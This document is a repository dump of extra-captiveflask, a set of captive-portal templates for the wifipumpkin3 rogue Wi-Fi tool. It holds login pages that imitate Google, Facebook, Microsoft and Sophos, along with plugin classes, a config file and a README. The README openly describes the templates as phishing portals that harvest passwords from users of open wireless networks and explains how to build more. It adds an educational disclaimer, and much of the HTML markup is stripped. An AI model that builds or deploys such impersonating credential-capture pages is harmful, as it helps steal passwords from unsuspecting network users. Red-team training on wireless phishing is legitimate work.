├── plugins ├── __init__.py ├── google.py ├── sophos.py ├── facebook.py ├── microsoft.py └── example.py ├── templates ├── google │ ├── preview.png │ ├── static │ │ ├── images │ │ │ ├── logo_2x.png │ │ │ ├── avatar_2x.png │ │ │ ├── logo_strip_2x.png │ │ │ └── universal_language_settings-21.png │ │ └── fonts │ │ │ └── google_fonts.css │ └── templates │ │ ├── login_successful.html │ │ └── login.html ├── sophos │ ├── preview.png │ ├── templates │ │ ├── login_successful.html │ │ └── login.html │ └── static │ │ └── css │ │ └── styles.css ├── example │ ├── preview.png │ ├── static │ │ ├── images │ │ │ └── photo.png │ │ └── js │ │ │ └── bootstrap.min.js │ └── templates │ │ ├── En │ │ └── templates │ │ │ ├── login_successful.html │ │ │ └── login.html │ │ └── PtBr │ │ └── templates │ │ ├── login_successful.html │ │ └── login.html ├── facebook │ ├── static │ │ ├── images │ │ │ ├── fb.ico │ │ │ ├── logo.png │ │ │ └── readme.png │ │ └── css │ │ │ └── styles.css │ └── templates │ │ ├── login_successful.html │ │ └── login.html └── microsoft │ ├── static │ ├── img │ │ └── f1f376e17e8ec550cc5a770a1bd3fd2a.jpg │ └── js │ │ └── bootstrap.min.js │ └── templates │ ├── login_successful.html │ └── login.html ├── config.ini ├── LICENSE └── README.md /plugins/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /templates/google/preview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/google/preview.png -------------------------------------------------------------------------------- /templates/sophos/preview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/sophos/preview.png -------------------------------------------------------------------------------- /templates/example/preview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/example/preview.png -------------------------------------------------------------------------------- /templates/example/static/images/photo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/example/static/images/photo.png -------------------------------------------------------------------------------- /templates/facebook/static/images/fb.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/facebook/static/images/fb.ico -------------------------------------------------------------------------------- /templates/facebook/static/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/facebook/static/images/logo.png -------------------------------------------------------------------------------- /templates/facebook/static/images/readme.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/facebook/static/images/readme.png -------------------------------------------------------------------------------- /templates/google/static/images/logo_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/google/static/images/logo_2x.png -------------------------------------------------------------------------------- /templates/google/static/images/avatar_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/google/static/images/avatar_2x.png -------------------------------------------------------------------------------- /templates/google/static/images/logo_strip_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/google/static/images/logo_strip_2x.png -------------------------------------------------------------------------------- /templates/google/static/images/universal_language_settings-21.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/google/static/images/universal_language_settings-21.png -------------------------------------------------------------------------------- /templates/microsoft/static/img/f1f376e17e8ec550cc5a770a1bd3fd2a.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mh4x0f/extra-captiveflask/HEAD/templates/microsoft/static/img/f1f376e17e8ec550cc5a770a1bd3fd2a.jpg -------------------------------------------------------------------------------- /templates/google/templates/login_successful.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Google login 5 | 6 | 7 | 8 |

Redirecting...

9 | 10 | 11 | -------------------------------------------------------------------------------- /templates/facebook/templates/login_successful.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Facebook login 5 | 6 | 7 | 8 |

Redirecting to facebook

9 | 10 | -------------------------------------------------------------------------------- /templates/sophos/templates/login_successful.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Success 7 | 8 | 9 |

Signed in successfully

10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /plugins/google.py: -------------------------------------------------------------------------------- 1 | # file => darkgoogle.py 2 | from wifipumpkin3.plugins.captiveflask.plugin import CaptiveTemplatePlugin 3 | import wifipumpkin3.core.utility.constants as C # import plugin class base 4 | 5 | class google(CaptiveTemplatePlugin): 6 | Name = "google" 7 | Version = "1.0" 8 | Description = "Google portal from SET" 9 | Author = "usg-ishimura" 10 | TemplatePath = C.TEMPLATES_FLASK + "templates/google" 11 | StaticPath = C.TEMPLATES_FLASK + "templates/google/static" 12 | Preview = C.TEMPLATES_FLASK + "templates/google/preview.png" 13 | -------------------------------------------------------------------------------- /templates/sophos/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | sophos 7 | 8 | 9 | 10 |
11 |
12 |

Welcome to the login portal

13 |
14 |
15 |
16 |
17 |
18 |
19 |

Access the User Portal

20 |

Change the password

21 |
22 |
23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /templates/sophos/static/css/styles.css: -------------------------------------------------------------------------------- 1 | body { 2 | margin: 0; 3 | padding: 0; 4 | font-family: Arial, sans-serif; 5 | background-color: white; 6 | } 7 | 8 | .container { 9 | display: flex; 10 | justify-content: center; 11 | align-items: center; 12 | height: 100vh; 13 | } 14 | 15 | .box { 16 | background-color: white; 17 | box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.2); 18 | width: 600px; 19 | } 20 | 21 | .box h2.welcome-text { 22 | color: white; 23 | background-color: #055BB5; 24 | padding: 10px; 25 | text-align: center; 26 | margin-top: 0; 27 | border-top-left-radius: 5px; 28 | border-top-right-radius: 5px; 29 | } 30 | 31 | .box form { 32 | margin-bottom: 20px; 33 | } 34 | 35 | .box input[type="text"], 36 | .box input[type="password"] { 37 | padding: 8px; 38 | margin-bottom: 10px; 39 | border: 1px solid #ccc; 40 | border-radius: 3px; 41 | } 42 | 43 | .box a { 44 | color: #000000; 45 | text-decoration: underline; 46 | } 47 | 48 | .box a:hover { 49 | text-decoration: underline; 50 | } 51 | -------------------------------------------------------------------------------- /config.ini: -------------------------------------------------------------------------------- 1 | [plugins] 2 | example=false 3 | facebook=false 4 | microsoft=false 5 | google=false 6 | sophos=false 7 | 8 | [set_example] 9 | Default=true 10 | En=false 11 | PtBr=false 12 | 13 | [info_example] 14 | name="example" 15 | version=1.0 16 | description="Example is a simple portal default page" 17 | author="mh4x0f" 18 | preview="https://i.imgur.com/G0wtAme.png" 19 | 20 | [info_facebook] 21 | name="facebook" 22 | version=1.0 23 | description="facebook account login page template" 24 | author="mh4x0f" 25 | preview="https://i.imgur.com/PmDXvnq.png" 26 | 27 | [info_microsoft] 28 | name="microsoft" 29 | version=1.0 30 | description="microsoft email account login page template" 31 | author="mh4x0f" 32 | preview="https://i.imgur.com/IZmpwQi.jpg" 33 | 34 | [info_google] 35 | name="google" 36 | version=1.0 37 | description="google account login page template" 38 | author="usg-ishimura" 39 | preview="https://i.imgur.com/0UcAOp1.png" 40 | 41 | [info_sophos] 42 | name="sophos" 43 | version=1.0 44 | description="a template for sophos captive portal" 45 | author="letmewin" 46 | preview="https://github.com/mh4x0f/extra-captiveflask/blob/master/templates/sophos/preview.png" 47 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /plugins/sophos.py: -------------------------------------------------------------------------------- 1 | from wifipumpkin3.plugins.captiveflask.plugin import CaptiveTemplatePlugin 2 | import wifipumpkin3.core.utility.constants as C 3 | 4 | # This file is part of the wifipumpkin3 Open Source Project. 5 | # wifipumpkin3 is licensed under the Apache 2.0. 6 | 7 | # Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f) 8 | 9 | # Licensed under the Apache License, Version 2.0 (the "License"); 10 | # you may not use this file except in compliance with the License. 11 | # You may obtain a copy of the License at 12 | 13 | # http://www.apache.org/licenses/LICENSE-2.0 14 | 15 | # Unless required by applicable law or agreed to in writing, software 16 | # distributed under the License is distributed on an "AS IS" BASIS, 17 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 18 | # See the License for the specific language governing permissions and 19 | # limitations under the License. 20 | 21 | class Sophos(CaptiveTemplatePlugin): 22 | Name = "sophos" 23 | Version = "1.0" 24 | Description = "a template for sophos captive portal" 25 | Author = "letmewin" 26 | TemplatePath = C.TEMPLATES_FLASK + "templates/sophos" 27 | StaticPath = C.TEMPLATES_FLASK + "templates/sophos/static" 28 | Preview = C.TEMPLATES_FLASK + "templates/sophos/preview.png" -------------------------------------------------------------------------------- /plugins/facebook.py: -------------------------------------------------------------------------------- 1 | from wifipumpkin3.plugins.captiveflask.plugin import CaptiveTemplatePlugin 2 | import wifipumpkin3.core.utility.constants as C 3 | 4 | # This file is part of the wifipumpkin3 Open Source Project. 5 | # wifipumpkin3 is licensed under the Apache 2.0. 6 | 7 | # Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f) 8 | 9 | # Licensed under the Apache License, Version 2.0 (the "License"); 10 | # you may not use this file except in compliance with the License. 11 | # You may obtain a copy of the License at 12 | 13 | # http://www.apache.org/licenses/LICENSE-2.0 14 | 15 | # Unless required by applicable law or agreed to in writing, software 16 | # distributed under the License is distributed on an "AS IS" BASIS, 17 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 18 | # See the License for the specific language governing permissions and 19 | # limitations under the License. 20 | 21 | class facebook(CaptiveTemplatePlugin): 22 | Name = "facebook" 23 | Version = "1.0" 24 | Description = "facebook account login page template" 25 | Author = "mh4x0f" 26 | TemplatePath = C.TEMPLATES_FLASK + "templates/facebook" 27 | StaticPath = C.TEMPLATES_FLASK + "templates/facebook/static" 28 | Preview = C.TEMPLATES_FLASK + "templates/facebook/preview.png" 29 | 30 | -------------------------------------------------------------------------------- /plugins/microsoft.py: -------------------------------------------------------------------------------- 1 | from wifipumpkin3.plugins.captiveflask.plugin import CaptiveTemplatePlugin 2 | import wifipumpkin3.core.utility.constants as C 3 | 4 | # This file is part of the wifipumpkin3 Open Source Project. 5 | # wifipumpkin3 is licensed under the Apache 2.0. 6 | 7 | # Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f) 8 | 9 | # Licensed under the Apache License, Version 2.0 (the "License"); 10 | # you may not use this file except in compliance with the License. 11 | # You may obtain a copy of the License at 12 | 13 | # http://www.apache.org/licenses/LICENSE-2.0 14 | 15 | # Unless required by applicable law or agreed to in writing, software 16 | # distributed under the License is distributed on an "AS IS" BASIS, 17 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 18 | # See the License for the specific language governing permissions and 19 | # limitations under the License. 20 | 21 | class microsoft(CaptiveTemplatePlugin): 22 | Name = "microsoft" 23 | Version = "1.0" 24 | Description = "microsoft email account login page template" 25 | Author = "mh4x0f" 26 | TemplatePath = C.TEMPLATES_FLASK + "templates/microsoft" 27 | StaticPath = C.TEMPLATES_FLASK + "templates/microsoft/static" 28 | Preview = C.TEMPLATES_FLASK + "templates/microsoft/preview.png" 29 | 30 | -------------------------------------------------------------------------------- /plugins/example.py: -------------------------------------------------------------------------------- 1 | from wifipumpkin3.plugins.captiveflask.plugin import CaptiveTemplatePlugin 2 | import wifipumpkin3.core.utility.constants as C 3 | 4 | # This file is part of the wifipumpkin3 Open Source Project. 5 | # wifipumpkin3 is licensed under the Apache 2.0. 6 | 7 | # Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f) 8 | 9 | # Licensed under the Apache License, Version 2.0 (the "License"); 10 | # you may not use this file except in compliance with the License. 11 | # You may obtain a copy of the License at 12 | 13 | # http://www.apache.org/licenses/LICENSE-2.0 14 | 15 | # Unless required by applicable law or agreed to in writing, software 16 | # distributed under the License is distributed on an "AS IS" BASIS, 17 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 18 | # See the License for the specific language governing permissions and 19 | # limitations under the License. 20 | 21 | class example(CaptiveTemplatePlugin): 22 | Name = "example" 23 | Version = "1.0" 24 | Description = "Example is a simple portal default page" 25 | Author = "mh4x0f" 26 | TemplatePath = C.TEMPLATES_FLASK + "templates/example" 27 | StaticPath = C.TEMPLATES_FLASK + "templates/example/static" 28 | Preview = C.TEMPLATES_FLASK + "templates/example/preview.png" 29 | Languages = ["En", "ptBr"] 30 | -------------------------------------------------------------------------------- /templates/example/templates/En/templates/login_successful.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Google Style Login - Bootsnipp.com 7 | 8 | 9 | 86 | 87 | 88 | 89 | 90 |
91 |
92 |
93 |

Login successful

94 |
95 |
96 |
97 | 100 | 101 | 102 | -------------------------------------------------------------------------------- /templates/example/templates/PtBr/templates/login_successful.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Google Style Login - Bootsnipp.com 7 | 8 | 9 | 86 | 87 | 88 | 89 | 90 |
91 |
92 |
93 |

Login successful

94 |
95 |
96 |
97 | 100 | 101 | 102 | -------------------------------------------------------------------------------- /templates/microsoft/templates/login_successful.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Microsoft login 6 | 7 | 8 | 9 | 10 | 11 | 74 | 75 | 76 | 77 | 78 |
79 | 80 |
81 |
82 | 83 |
84 |
85 | 86 | 87 | 88 |
89 |

Microsoft login successful

90 |
91 |
You're signed in to your account, Now more than ever it's important you have access to the Internet to stay in-touch with your family, friends, work and school.
92 |
93 |
94 | 95 |
96 |
97 |
98 | 99 | 107 |
108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /templates/microsoft/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Microsoft login 6 | 7 | 8 | 9 | 10 | 11 | 74 | 75 | 76 | 77 | 78 |
79 | 80 |
81 |
82 | 83 |
84 |
85 | 86 | 87 | 88 |
89 |

Sign in

90 |
91 |
92 | 93 | 94 |
95 |
96 | 97 | 98 |
99 | 100 |
101 | 102 |
103 |

104 | 105 | 108 |
109 |
110 | 111 |
112 |
113 |
114 | 115 | 123 |
124 | 125 | 126 | 127 | -------------------------------------------------------------------------------- /templates/example/templates/PtBr/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Google Style Login - Bootsnipp.com 7 | 8 | 9 | 86 | 87 | 88 | 89 | 90 |
91 |
92 |
93 |

Faça login para continuar no Bootsnipp

94 | 105 |
106 |
107 |
108 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /templates/example/templates/En/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Google Style Login - Bootsnipp.com 7 | 8 | 9 | 86 | 87 | 88 | 89 | 90 |
91 |
92 |
93 |

Sign in to continue to Bootsnipp

94 | 109 | 110 |
111 |
112 |
113 | 116 | 117 | 118 | -------------------------------------------------------------------------------- /templates/google/static/fonts/google_fonts.css: -------------------------------------------------------------------------------- 1 | /* cyrillic-ext */ 2 | @font-face { 3 | font-family: 'Open Sans'; 4 | font-style: normal; 5 | font-weight: 400; 6 | src: local('Open Sans Regular'), local('OpenSans-Regular'), url(https://fonts.gstatic.com/s/opensans/v16/mem8YaGs126MiZpBA-UFWJ0bbck.woff2) format('woff2'); 7 | unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; 8 | } 9 | /* cyrillic */ 10 | @font-face { 11 | font-family: 'Open Sans'; 12 | font-style: normal; 13 | font-weight: 400; 14 | src: local('Open Sans Regular'), local('OpenSans-Regular'), url(https://fonts.gstatic.com/s/opensans/v16/mem8YaGs126MiZpBA-UFUZ0bbck.woff2) format('woff2'); 15 | unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; 16 | } 17 | /* greek-ext */ 18 | @font-face { 19 | font-family: 'Open Sans'; 20 | font-style: normal; 21 | font-weight: 400; 22 | src: local('Open Sans Regular'), local('OpenSans-Regular'), url(https://fonts.gstatic.com/s/opensans/v16/mem8YaGs126MiZpBA-UFWZ0bbck.woff2) format('woff2'); 23 | unicode-range: U+1F00-1FFF; 24 | } 25 | /* greek */ 26 | @font-face { 27 | font-family: 'Open Sans'; 28 | font-style: normal; 29 | font-weight: 400; 30 | src: local('Open Sans Regular'), local('OpenSans-Regular'), url(https://fonts.gstatic.com/s/opensans/v16/mem8YaGs126MiZpBA-UFVp0bbck.woff2) format('woff2'); 31 | unicode-range: U+0370-03FF; 32 | } 33 | /* vietnamese */ 34 | @font-face { 35 | font-family: 'Open Sans'; 36 | font-style: normal; 37 | font-weight: 400; 38 | src: local('Open Sans Regular'), local('OpenSans-Regular'), url(https://fonts.gstatic.com/s/opensans/v16/mem8YaGs126MiZpBA-UFWp0bbck.woff2) format('woff2'); 39 | unicode-range: U+0102-0103, U+0110-0111, U+1EA0-1EF9, U+20AB; 40 | } 41 | /* latin-ext */ 42 | @font-face { 43 | font-family: 'Open Sans'; 44 | font-style: normal; 45 | font-weight: 400; 46 | src: local('Open Sans Regular'), local('OpenSans-Regular'), url(https://fonts.gstatic.com/s/opensans/v16/mem8YaGs126MiZpBA-UFW50bbck.woff2) format('woff2'); 47 | unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; 48 | } 49 | /* latin */ 50 | @font-face { 51 | font-family: 'Open Sans'; 52 | font-style: normal; 53 | font-weight: 400; 54 | src: local('Open Sans Regular'), local('OpenSans-Regular'), url(https://fonts.gstatic.com/s/opensans/v16/mem8YaGs126MiZpBA-UFVZ0b.woff2) format('woff2'); 55 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; 56 | } 57 | /* cyrillic-ext */ 58 | @font-face { 59 | font-family: 'Open Sans'; 60 | font-style: normal; 61 | font-weight: 700; 62 | src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v16/mem5YaGs126MiZpBA-UN7rgOX-hpOqc.woff2) format('woff2'); 63 | unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; 64 | } 65 | /* cyrillic */ 66 | @font-face { 67 | font-family: 'Open Sans'; 68 | font-style: normal; 69 | font-weight: 700; 70 | src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v16/mem5YaGs126MiZpBA-UN7rgOVuhpOqc.woff2) format('woff2'); 71 | unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; 72 | } 73 | /* greek-ext */ 74 | @font-face { 75 | font-family: 'Open Sans'; 76 | font-style: normal; 77 | font-weight: 700; 78 | src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v16/mem5YaGs126MiZpBA-UN7rgOXuhpOqc.woff2) format('woff2'); 79 | unicode-range: U+1F00-1FFF; 80 | } 81 | /* greek */ 82 | @font-face { 83 | font-family: 'Open Sans'; 84 | font-style: normal; 85 | font-weight: 700; 86 | src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v16/mem5YaGs126MiZpBA-UN7rgOUehpOqc.woff2) format('woff2'); 87 | unicode-range: U+0370-03FF; 88 | } 89 | /* vietnamese */ 90 | @font-face { 91 | font-family: 'Open Sans'; 92 | font-style: normal; 93 | font-weight: 700; 94 | src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v16/mem5YaGs126MiZpBA-UN7rgOXehpOqc.woff2) format('woff2'); 95 | unicode-range: U+0102-0103, U+0110-0111, U+1EA0-1EF9, U+20AB; 96 | } 97 | /* latin-ext */ 98 | @font-face { 99 | font-family: 'Open Sans'; 100 | font-style: normal; 101 | font-weight: 700; 102 | src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v16/mem5YaGs126MiZpBA-UN7rgOXOhpOqc.woff2) format('woff2'); 103 | unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; 104 | } 105 | /* latin */ 106 | @font-face { 107 | font-family: 'Open Sans'; 108 | font-style: normal; 109 | font-weight: 700; 110 | src: local('Open Sans Bold'), local('OpenSans-Bold'), url(https://fonts.gstatic.com/s/opensans/v16/mem5YaGs126MiZpBA-UN7rgOUuhp.woff2) format('woff2'); 111 | unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; 112 | } 113 | -------------------------------------------------------------------------------- /templates/facebook/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Facebook Login 7 | 8 | 9 | 10 | 11 | 12 |
13 |
14 |
15 | 16 |
Facebook helps you connect and share with the people in your life.
17 |
18 | 19 |
20 |
21 | 23 | 25 | 26 | Forgotten password? 27 |
28 | 29 |
30 |
31 | Create a Page for a celebrity, band or business. 32 |
33 |
34 |
35 | 36 |
37 | 98 | 123 | 124 | 125 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## captiveflask 2 | Developing extra captive portals for captiveflask plugins 3 | 4 | ### description 5 | the plugin captiveflask allow the Attacker mount a wireless access point which is used in conjuction with a web server and iptables traffic capturing rules to create the phishing portal. Users can freely connect to these networks without a password and will often be directed to a login page where a password is required before being allowed to browse the web. 6 | 7 | ### What is Wireless Phishing? 8 | Wireless phishing is any technique by which an attacker attempts to convince wireless network users to divulge sensitive information. As we previously mentioned the associated wireless network is generally open and access to network resources is mediated by a web application known as a captive portal. A captive portal is a web page accessed with a web browser that is displayed to newly connected users of a Wi-Fi network before they are granted broader access to network resources. Captive portals are commonly used to present a landing or log-in page which may require authentication, payment, acceptance of an end-user license agreement or an acceptable use policy, or other valid credentials that both the host and user agree to adhere by. (Wiki) 9 | 10 | 11 | ### Creating Captive Portal template 12 | For the interested, we give a brief technical overview of the process of creating a phishing portal here. Example configuration files for creating a simple captive portal template to Wp3. 13 | first of all you need to make a repository fork and add your plugin template. 14 | 15 | Example configuration files for creating a simple template. 16 | 17 | ``` python 18 | # file => exampleplugin.py 19 | from wifipumpkin3.plugins.captiveflask.plugin import CaptiveTemplatePlugin 20 | import wifipumpkin3.core.utility.constants as C # import plugin class base 21 | 22 | class exampleplugin(CaptiveTemplatePlugin): 23 | Name = "exampleplugin" 24 | Version = "1.0" 25 | Description = "Example is a simple portal default page'" 26 | Author = "mh4x0f" 27 | TemplatePath = C.TEMPLATES_FLASK + "templates/exampleplugin" 28 | StaticPath = C.TEMPLATES_FLASK + "templates/exampleplugin/static" 29 | Preview = C.TEMPLATES_FLASK + "templates/exampleplugin/preview.png" 30 | ``` 31 | 32 | #### File architecture 33 | ``` bash 34 | exampleplugin/ 35 | ├── preview.png 36 | ├── static 37 | │ ├── css 38 | │ │ ├── bootstrap.min.css 39 | │ │ ├── main.css 40 | │ │ ├── styles.css 41 | │ │ └── util.css 42 | │ └── js 43 | │ ├── bootstrap.min.js 44 | │ ├── jquery-1.11.1.min.js 45 | │ └── main.js 46 | └── templates 47 | ├── login.html 48 | └── login_successful.html 49 | 50 | 4 directories, 9 files 51 | ``` 52 | 53 | ### Editing html files 54 | 55 | Set Up the Phishing your custom page login captive portal 56 | 57 | **login.html** 58 | 59 | ``` html 60 | 61 | 62 | 63 | Authentification 64 | 65 | 66 | 67 | 68 |
69 | 70 |
71 | Login:
72 | 73 |
74 | Password:
75 | 76 |

77 | 78 |
79 |
80 | 81 | 82 | 83 | ``` 84 | Set Up the Phishing your custom page login successful 85 | 86 | **login_successful.html** 87 | 88 | ``` html 89 | 90 | 91 | 92 | Authentification 93 | 94 | 95 | 96 |

Login successful

97 | 98 | 99 | ``` 100 | 101 | ### Add language into the guest portal 102 | 103 | if want to create multiple language that allow the user to pick a different one, checkout! 104 | In plugin exampleplugin.py change the bool var **ConfigParser** to True and override function **init_language**. look; 105 | 106 | ``` python 107 | # file => exampleplugin.py 108 | from wifipumpkin3.plugins.captiveflask.plugin import CaptiveTemplatePlugin 109 | import wifipumpkin3.core.utility.constants as C # import plugin class base 110 | 111 | 112 | class exampleplugin(CaptiveTemplatePlugin): 113 | Name = "exampleplugin" 114 | Version = "1.0" 115 | Description = "Example is a simple portal default page'" 116 | Author = "mh4x0f" 117 | TemplatePath = C.TEMPLATES_FLASK + "templates/exampleplugin" 118 | StaticPath = C.TEMPLATES_FLASK + "templates/exampleplugin/static" 119 | Preview = C.TEMPLATES_FLASK + "templates/exampleplugin/preview.png" 120 | Languages = ["En", "ptBr"] # default is En 121 | 122 | ``` 123 | 124 | #### File architecture 125 | ``` bash 126 | exampleplugin/ 127 | ├── preview.png 128 | ├── static 129 | │ ├── css 130 | │ │ ├── bootstrap.min.css 131 | │ │ ├── main.css 132 | │ │ ├── styles.css 133 | │ │ └── util.css 134 | │ └── js 135 | │ ├── bootstrap.min.js 136 | │ ├── jquery-1.11.1.min.js 137 | │ └── main.js 138 | └── templates 139 | │ ├── En 140 | │ │ └── templates 141 | │ │ ├── login.html 142 | │ │ └── login_successful.html 143 | │ └── ptBr 144 | │ └── templates 145 | │ ├── login.html 146 | │ └── login_successful.html 147 | 148 | 9 directories, 13 files 149 | ``` 150 | 151 | ### HowTo test my custom captiveflask 152 | 153 | if you allready wp3 installed, only need to use the command **captiveflask** on terminal. this command is mount a webserver with flask running on **http://localhost:80**, open this your favorites browser and preview your custom portal. 154 | 155 | ```bash 156 | $ cd extra-captiveflask 157 | $ sudo captiveflask -t $(pwd)/templates/exampleplugin -r 127.0.0.1 -s $(pwd)/templates/exampleplugin/static 158 | ``` 159 | 160 | #### Enjoy 161 | 162 | now, you can choose to keep your custom version for yourself or send it to all wp3 users. 163 | 164 | have fun! Hack the Planet 165 | 166 | 167 | ### Disclaimer 168 | 169 | Any malicious use of the contents from this repository, will not hold the author responsible, the contents are solely for educational purpose. 170 | 171 | - Usage of **extra-captiveflask** template for attacking without prior mutual consistency can be considered as an **illegal activity**. 172 | - Authors assume no liability and are not responsible for any misuse or damage caused by this program. -------------------------------------------------------------------------------- /templates/facebook/static/css/styles.css: -------------------------------------------------------------------------------- 1 | @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@400;700;900&display=swap'); 2 | * { 3 | padding: 0px; 4 | margin: 0px; 5 | } 6 | 7 | body { 8 | background:#f0f2f5; 9 | font-family: 'Poppins', sans-serif; 10 | 11 | } 12 | 13 | main{ 14 | height: 100vh; 15 | display: flex; 16 | justify-content: center; 17 | align-items: center; 18 | padding: 0 2rem; 19 | } 20 | 21 | .main{ 22 | display: flex; 23 | justify-content: center; 24 | align-items: center; 25 | height: 80vh; 26 | } 27 | 28 | .heading-section{ 29 | display: flex; 30 | flex-direction: column; 31 | max-width: 550px; 32 | margin-right: 5rem; 33 | margin-top: 6rem; 34 | align-self: flex-start; 35 | } 36 | 37 | .logo-img{ 38 | display: block; 39 | width: 270px; 40 | } 41 | 42 | .form{ 43 | width: 390px; 44 | } 45 | 46 | .a-form { 47 | width: 100%; 48 | box-sizing: border-box; 49 | padding: 15px; 50 | background-color: #fff; 51 | border: none; 52 | box-shadow: 0 2px 4px rgb(0 0 0 / 10%), 0 8px 16px rgb(0 0 0 / 10%); 53 | margin-bottom: 20px; 54 | } 55 | 56 | .a-form .a-email { 57 | width: 100%; 58 | padding: 15px; 59 | box-sizing: border-box; 60 | font-size: 16px; 61 | margin: 10px auto; 62 | border: 1px solid lightgray; 63 | border-radius: 8px; 64 | border-width: thin; 65 | outline-width: thin; 66 | outline-color: rgb(160, 160, 255); 67 | } 68 | 69 | .a-form .a-email:focus { 70 | outline: none; 71 | box-shadow: 0px 0px 2px #0066ff; 72 | } 73 | 74 | .a-form .a-pss { 75 | display: block; 76 | width: 100%; 77 | padding: 15px; 78 | box-sizing: 